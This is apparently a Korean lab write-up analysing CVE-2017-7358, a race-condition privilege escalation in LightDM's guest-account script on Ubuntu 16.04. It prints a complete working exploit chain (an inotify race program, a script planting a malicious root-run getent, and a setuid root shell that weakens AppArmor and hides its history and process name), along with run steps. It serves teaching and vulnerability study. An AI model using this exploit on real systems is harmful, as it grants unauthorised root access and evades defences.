LightDM

LightDM "Guest Account" Local Privilege Escalation 취약점 분석 및 실습 (CVE-2017-7358)

in

CVE-2017-7358 취약점은 LightDM 1.22.0 이하 버전에서 “debian/guest-account.sh”의 디렉터리 통과 문제로 인해 로컬로 접근할 수 있는 공격자가 임의의 디렉터리 경로 위치를 소유하고 게스트 사용자가 로그아웃할 때 권한을 루트로 에스컬레이션할 수 있는 취약점입니다.

LightDM은 오픈소스 “X Display” 관리자로, Ubuntu의 경우 12.04 버전부터 LightDM이 Default Display Manager로 사용 되었으며 LightDM을 사용하면 임시 Guest 계정으로 세션에 로그인할 수 있습니다.

여기서는 Ubuntu 16.04.4 LTS환경에서 LightDM을 통한 Local Privilege Escalation을 실습 합니다.

LightDM 이란?

LightDM은 GDM과 같은 Display Manager(Window Manager)로 가볍고 빠른것이 특징인 오픈소스 X display 관리자 입니다. 일반적인 GNOME 환경에서는 GDM이, KDE 환경에서는 KDM이, 경량화 버전에서는 LightDM이 사용됩니다.

LightDM 11.10 릴리스부터 EdubuntuXubuntu 및 Mythbuntu의 기본 디스플레이 관리자로 사용됩니다. 또한 Ubuntu의 경우 12.04부터 LightDM이 사용 되었습니다.(17.10버전 이후로 GDM이 사용되었습니다.)
https://ubunlog.com/ko/confirmado-gdm-sustituira-lightdm-en-ubuntu-17-10/

취약점 원리 및 스크립트 분석

LightDM은 기본적으로 게스트 세션으로 로그인하는 기능을 제공하며 게스트 계정으로 로그인시 “/tmp/guest-XXXXXX”라는 홈 디렉터리를 생성합니다.

그러나 이때 공격자가 LightDM의 게스트 계정 스크립트를 감시하여 LightDM 보다 먼저 게스트 사용자의 홈 디렉토리를 생성할수 있습니다.

즉, Race Condition을 악용해서 공격자는 게스트 사용자의 홈 디렉토리를 제어할 수 있고, 이후 권한 상승으로 이어질 수 있는 파일 시스템의 임의 디렉토리를 제어할 수 있습니다.

우선 아래 그림처럼 LightDM 로그인 화면에는 다음과 같이 “Guests Session” 버튼이 있으며, 이를 클릭하면 게스트 세션으로 로그인이 가능합니다. image LightDM

dpkg -s lightdm 명령어로 LightDM 패키지 정보를 알 수 있습니다. 16.04.4 desktop version 기준으로 LightDM 1.18.3 을 사용하고 있습니다. image dpkg -s lightdm

LightDM의 게스트 세션 로그인 기능은 “/usr/sbin/guests-account” 스크립트에서 구현됩니다.

image ls -la guest-account

guest-account 스크립트를 분석함과 동시에 취약점 원리를 파악 해보겠습니다.

1) Create Guest Home Directory

취약점이 발생하는 함수는 add_account()로, guest의 홈디렉터리는 35행의 mktemp를 통해 생성됩니다.

mktemp를 통해 생성된 폴더 이름에는 대문자, 소문자 가 모두 포함될 수 있으므로 모든 upper case를 lower case로 변경하여 디렉터리를 생성합니다.

image add_account()

이때 공격자는 “inotify”를 이용하여 /tmp 경로를 모니터링 할 수 있습니다. 대소문자로 인해 파일명이 일치하지 않아 38번 라인에서 mv명령을 실행하려고 하는 순간 공격자는 “/usr/local/sbin” 경로를 심볼릭 링크로 가진 디렉터리를 생성합니다.

mktemp 명령어

mktemp 명령어는 /tmp 경로에 임의의 파일을 생성하는 명령어로, 명령어 실행시 생성된 파일의 이름이 리턴됩니다. 주로 스크립트 내에서 임시로 사용할 파일을 생성할 때 사용합니다.

image test mktemp

2) Add Guest User

이후 74번 행을 통해 guest 사용자를 추가합니다. image add guest user

3) Directory OwnerShip changes

84번 행을 통해 홈디렉터리의 권한이 변경과 동시에 마운트 되는데, 이 시점에서 Guest 유저의 홈디렉터리는 “/usr/local/sbin”를 가리키는 심볼릭 링크 파일이기 때문에 “/usr/local/sbin” 디렉터리의 소유권이 변경됩니다.

4) Logout

Guest 계정에서 로그아웃하는 순간 생성된 Guest 계정과 임시로 생성된 홈디렉터리는 삭제됩니다. 여기서 Guest 계정의 정보를 가져오기위해 156번 라인을 실행하는데, getent 명령어는 “/etc/passwd”를 읽어오는 명령어로 root 권한으로 실행됩니다.

이 시점에서 공격자는 이미 “/usr/local/sbin/” 폴더 내에 getent라는 이름의 악성 스크립트를 생성시켜 놓은 상태입니다.

즉, Guest 계정에서 로그아웃되는 순간 root의 권한으로 악성 스크립트가 실행되는 것입니다.

image remove_account()

POC 코드 분석

stage1local.sh

기존에 존재하는 프로세스들 및 파일들을 지우고 바이너리를 생성합니다. 또한 백그라운드로 boc를 실행하며, dm-tool 명령어로 Session Lock, Guest User Switching을 시도합니다.

#!/bin/bash
# 스크립트가 존재하는 폴더는 /var/tmp/kodek 이어야 합니다.
if [ "${PWD}" == "/var/tmp/kodek" ]; then

# 기존에 생성된 boc 프로세스 kill 및 바이너리 파일 삭제(shred)
/usr/bin/killall -9 /var/tmp/boc >/dev/null 2>&1
/usr/bin/killall -9 boc >/dev/null 2>&1
/bin/sleep 3s
/usr/bin/shred -fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc >/dev/null 2>&1

# boclocal.c, shell.c /var/tmp 경로에 바이너리를 생성합니다.
/usr/bin/gcc boclocal.c -Wall -s -o /var/tmp/boc
/usr/bin/gcc shell.c -Wall -s -o /var/tmp/shell
/bin/cp /var/tmp/kodek/run.sh /var/tmp/run.sh

# background로 boc 실행합니다.
/var/tmp/boc &
/bin/sleep 5s
XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool lock
XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool switch-to-guest
else
echo "[!] run me from /var/tmp/kodek"
exit
fi

boclocal.c

“inotify”를 통해 LightDM Guest 계정 폴더가 생성되는 /tmp 폴더를 모니터링하여 이벤트를 발생시킵니다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <ctype.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <pwd.h>
#define EVENT_SIZE (sizeof(struct inotify_event))
#define EVENT_BUF_LEN (1024 * (EVENT_SIZE + 16))

int main(void) {
  struct stat info;
  struct passwd * pw;
  struct inotify_event * event;\
  // root 계정의 정보를 pw변수안에 저장합니다.
  pw = getpwnam("root");
  if (pw == NULL) exit(0);
  char newpath[20] = "old.";
  int length = 0, i, fd, wd, count1 = 0, count2 = 0;
  int a, b, c;
  char buffer[EVENT_BUF_LEN];
  // inotify : 파일 시스템 이벤트를 커널레벨로부터 받을 수 있는 방법입니다.
  // ref: https://sonseungha.tistory.com/436
  // inotify_init(): fd(file descriptor) 리턴
  // inotify_add_watch(): 추가 또는 수정된 inotify instance를 가리키는 file descriptor 리턴
  // inotify_rm_watch(): File descriptor fd가 가리키는 inotify instance로부터 wd로 지정한 모니터링 리스트를 제거합니다.
  fd = inotify_init();
  if (fd < 0) exit(0);
  // 파일or디렉터리 생성되거나 모니터링중인 디렉터리 밖으로 이동될 경우 이벤트 실행합니다.
  wd = inotify_add_watch(fd, "/tmp/", IN_CREATE | IN_MOVED_FROM);
  if (wd < 0) exit(0);
  // "/tmp/" 디렉터리로 이동
  chdir("/tmp/");
  while (1) {
    length = read(fd, buffer, EVENT_BUF_LEN);
    if (length > 0) {
      // inotify_event를 이용해 이벤트를 읽어온다.
      event = (struct inotify_event * ) buffer;
      if (event -> len) {
        // 발생한 event의 name에 "guest-"가 존재할 경우(생성된 파일에 "guest-"가 존재할 경우)
        if (strstr(event -> name, "guest-") != NULL) {
          // lowercase로 변경해서 저장
          for (i = 0; event -> name[i] != '\0'; i++) {
            event -> name[i] = tolower(event -> name[i]);
          }
          // 발생한 이벤트가 파일or디렉터리 생성일 경우 해당 name으로 777(ACCESSPERMS) 생성합니다.      
          if (event -> mask & IN_CREATE) mkdir(event -> name, ACCESSPERMS);
          // 발생한 이벤트가 move일 경우 기존파일 이름을 old.<FILE_NAME>으로 변경하고 /usr/local/sbin symlink를 생성합니다.
          if (event -> mask & IN_MOVED_FROM) {
            rename(event -> name, strncat(newpath, event -> name, 15));
            symlink("/usr/local/sbin/", event -> name);

            // 계정이 생성될때까지 대기합니다.
            while (1) {
              count1 = count1 + 1;
              pw = getpwnam(event -> name);
              if (pw != NULL) break;
            }
            while (1) {
              count2 = count2 + 1;
              stat("/usr/local/sbin/", & info);
              // 생성된 계정의 uid가 /usr/local/sbin과 같으면 성공
              if (info.st_uid == pw -> pw_uid) {
                // 심볼릭 링크를 제거하고 동일한 이름의 홈디렉터리를 다시 생성합니다.
                a = unlink(event -> name);
                b = mkdir(event -> name, ACCESSPERMS);
                // 홈디렉터리내 /var/tmp/kodek/bin/ 심볼릭 링크 bin을 생성한다       
                c = symlink("/var/tmp/kodek/bin/", strncat(event -> name, "/bin", 5));
                if (a == 0 && b == 0 && c == 0) {
                  printf("[!] GAME OVER !!![!] count1: %i count2: %i[!] w8 1 minute and run /bin/subash", count1, count2);
                } else {
                  printf("[!] a: %i b: %i c: %i[!] exploit failed!!![!] w8 1 minute and run it again", a, b, c);
                }
                system("/bin/rm -rf /tmp/old.*");
                inotify_rm_watch(fd, wd);
                close(fd);
                exit(0);
              }
            }
          }
        }
      }
    }
  }
}

참고로 여기서 많이 사용되는 getpwnam 함수는 “/etc/passwd” 파일의 정보를 참고하여 사용자 계정의 정보를 Structure 형태로 가져옵니다.
https://www.joinc.co.kr/w/man/3/getpwnam

test.c

#include <stdio.h>
#include <sys/stat.h>
#include <pwd.h>

int main(void) {
  struct passwd * pw;
  pw = getpwnam("root");

  printf("name: %s\n", pw->pw_name);
  printf("passwd: %s\n", pw->pw_passwd);
  printf("uid: %d\n", pw->pw_uid);
  printf("gid: %d\n", pw->pw_gid);
  printf("gecos: %s\n", pw->pw_gecos);
  printf("homedir: %s\n", pw->pw_dir);
  printf("shell: %s\n", pw->pw_shell);
}

image getpwnam test

run.sh

“/usr/local/sbin/” 경로에 getent란 이름의 악성코드를 생성합니다. 악성코드는 “/bin” 경로에 SetUID(4111) 권한을 가진 “subash” 파일을 생성합니다.

#!/bin/sh
/bin/cat << EOF > /usr/local/sbin/getent
#!/bin/bash
/bin/cp /var/tmp/shell /bin/subash >/dev/null 2>&1
/bin/chmod 4111 /bin/subash >/dev/null 2>&1
COUNTER=0
while [ \$COUNTER -lt 10 ]; do
/bin/umount -lf /usr/local/sbin/ >/dev/null 2>&1
let COUNTER=COUNTER+1
done
/bin/sed -i 's/\/usr\/lib\/lightdm\/lightdm-guest-session {/\/usr\/lib\/lightdm\/lightdm-guest-session flags=(complain) {/g' /etc/apparmor.d/lightdm-guest-session >/dev/null 2>&1
/sbin/apparmor_parser -r /etc/apparmor.d/lightdm-guest-session >/dev/null 2>&1
/usr/bin/getent passwd "\$2"
EOF
/bin/chmod 755 /usr/local/sbin/getent >/dev/null 2>&1

shell.c

subash란 이름으로 컴파일되며 “/bin/bash”를 실행하는 기능을 합니다.

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <grp.h>
int main(void)
{
    setresuid(0, 0, 0);
    setresgid(0, 0, 0);
    setgroups(0, NULL);
    putenv("HISTFILE=/dev/null");
    execl("/bin/bash", "[bioset]", "-pi", NULL);
    return 0;
}

취약점 실습

Ubuntu 16.04.4는 아래 링크에서 다운로드 합니다. Server 버전은 LightDM을 별도로 설치해줘야 하기 때문에 Desktop 버전으로 설치해줍니다. http://old-releases.ubuntu.com/releases/16.04.4/

공개된 POC 코드는 아래에서 구할 수 있습니다. https://www.exploit-db.com/exploits/41923

나중에 알게 되었지만, Exploit DB에 있는 POC 코드는 오탈자가 심해서 수정이 필요하므로 아래 github 페이지에서 받는게 좋습니다. https://github.com/Arnauec-zz/Ubuntu-16.10-16.04-LTS—LightDM-Guest-Account-Local-Privilege-Escalation-Exploit-

실습 유의사항

실습에 앞서 유의할 사항은 아래와 같습니다.

1) 홈디렉터리 이름 변경시 mv 명령어가 아닌 mkdir을 사용하는 경우

LightDM에서 제공하는 “guest-account” 스크립트에서 Guest 홈디렉터리를 생성할 때에, 일반적인 경우 mktemp로 생성한 디렉터리명을 mv 명령어로 lowercase로 변경합니다. 그러나 일부 스크립트에서는 mv가 아닌 mkdir로 lowercase가 적용된 디렉터리를 생성한 뒤 mktemp로 생성된 디렉터리를 삭제하는 방식으로 되어 있을수 있습니다.

image mv가 아닌 mkdir을 사용하는 스크립트

스크립트가 위처럼 구성 되어있으면 당연히 inotify로 mv 시그널을 잡는 부분이 의미가 없어집니다.

2) root 세션이 유지된 경우

root 세션을 유지한 채로 일반 계정으로 Exploit을 시도 할 경우 정상적으로 동작하지 않을 수 있습니다. 실습시 root 계정에서 로그아웃 한 후 일반계정으로만 진행합니다.

Exploit

1) stage1local.sh 실행

일반계정으로 해당 스크립트를 실행합니다.

시그널을 감지해서 LightDM보다 디렉터리를 먼저 생성하는 것이 관건이기 때문에 타이밍이 안맞는다면 stage1local.sh를 여러번 실행해야 할 수 있습니다.

만약 제대로 동작한다면 검은화면이 3초이상 지속된 후 로그인 화면이 나오고, 로그인 하면 아래와 같은 메시지가 출력된다.

image run stage1local.sh

2) /bin/subash 실행

1분정도 기다려주면 /bin 폴더에 subash가 생성됩니다.

subash는 SetUID(4111) 권한을 갖고있어 root 권한을 가진 쉘을 실행합니다.

image Exploit

root 쉘을 얻는데 성공했습니다.

보안 방법

LightDM 패키지를 1.22.0 이상으로 업데이트 합니다.

References